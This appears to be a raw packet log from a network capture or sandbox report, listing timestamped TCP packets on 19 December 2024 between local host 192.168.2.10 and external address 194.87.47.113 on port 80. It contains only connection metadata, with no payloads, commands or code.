Dec 19, 2024 08:21:30.488668919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.488672972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.488698006 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.489672899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.489686012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.489725113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.490565062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.490577936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.490648985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.491162062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.491173983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.491251945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.492643118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.492655039 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.492667913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.492681026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.492693901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.492716074 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.494077921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.494090080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.494105101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.494134903 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.494152069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.495168924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.495181084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.495196104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.495265961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.496526957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.496539116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.496551991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.496565104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.496579885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.496608019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.498281002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.498294115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.498306990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.498326063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.498330116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.499154091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.499169111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.499180079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.499207973 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.544527054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.565947056 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.565959930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.565973043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.566045046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.567157030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.567169905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.567183018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.567220926 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.567241907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.571160078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.575901985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.575913906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.575926065 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.575938940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.575968027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.576014996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.579159975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.579171896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.579184055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.579225063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.579258919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.629622936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.629637957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.629651070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.629662037 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.629739046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.629781961 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.631172895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.631185055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.631198883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.631228924 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.631891012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.631902933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.631927967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.632124901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.632168055 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.633547068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.633560896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.633573055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.633584976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.633610010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.633646011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.634367943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.634378910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.634444952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.634588957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.634599924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.634658098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.635374069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.635386944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.635448933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.636450052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.636462927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.636507988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.637168884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.637181044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.637243032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.638501883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.638514042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.638551950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.638580084 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.638612986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.638654947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.639154911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.665730953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.665801048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.665882111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.666224003 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.666237116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.666273117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.667054892 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.667098045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.667352915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.667947054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.667988062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.668117046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.668210983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.668247938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.669277906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.669292927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.669327974 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.669655085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.669667006 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.669704914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.670550108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.670562029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.670612097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.671047926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.671328068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.671390057 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.671833992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.672224045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.672285080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.672796011 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.672807932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.672847986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.673820019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.673831940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.673871994 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.675169945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.675182104 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.675196886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.675209045 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.675235987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.675256014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.675971031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.676213026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.676273108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.676870108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.676884890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.676929951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.677525043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.677596092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.677637100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.678364992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.678379059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.678430080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.679148912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.679229975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.679299116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.679856062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.679924965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.679968119 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.680593014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.680927038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.680970907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.681413889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.681427956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.681471109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.682149887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.682663918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.682713985 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.683156967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.683170080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.683208942 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.683648109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.683901072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.683950901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.684515953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.684588909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.684649944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.685291052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.685368061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.685408115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.686053991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.686266899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.686305046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.686975956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.686989069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.687043905 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.687603951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.687757969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.687788010 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.688568115 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.688580990 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.688622952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.689297915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.689416885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.689451933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.690021992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.690145969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.690181017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.690819025 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.690892935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.690923929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.762367964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.762383938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.762396097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.762411118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.762469053 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.762509108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.763358116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.763371944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.763427019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.764020920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.767595053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.767668009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.767712116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.768172979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.768228054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.768263102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.768881083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.768918991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.768953085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.769604921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.769644976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.822108984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.822124004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.822137117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.822149992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.822233915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.822285891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.822698116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.822988987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.823041916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.824069023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.824084044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.824145079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.824434996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.824448109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.824496031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.825048923 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.825191021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.825262070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.826255083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.826267004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.826333046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.826549053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.826562881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.826618910 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.827159882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.827338934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.827384949 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.828646898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.828659058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.828728914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.828998089 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.829010010 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.829061031 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.830390930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.830413103 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.830424070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.830437899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.830451965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.830475092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.831151009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.831381083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.831445932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.858658075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.858673096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.858741999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.859162092 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.859175920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.859217882 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.860527992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.860539913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.860548019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.860558987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.860598087 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.860646009 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.862107038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.862119913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.862133980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.862148046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.862170935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.862196922 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.863161087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.863173008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.863233089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.864533901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.864548922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.864562035 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.864573002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.864595890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.864622116 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.866102934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.866115093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.866127968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.866139889 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.866179943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.867162943 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.867175102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.867234945 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.868489027 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.868501902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.868514061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.868525982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.868547916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.868573904 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.870023012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.870035887 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.870049000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.870064974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.870100021 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.870127916 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.871160984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.871175051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.871222019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.872531891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.872544050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.872558117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.872570038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.872639894 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.872672081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.874157906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.874171019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.874183893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.874196053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.874226093 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.874249935 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.875186920 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.875200987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.875292063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:30.876614094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.876626968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.876640081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:30.876656055 CET	80	49720	194.87.47.113	192.168.2.10
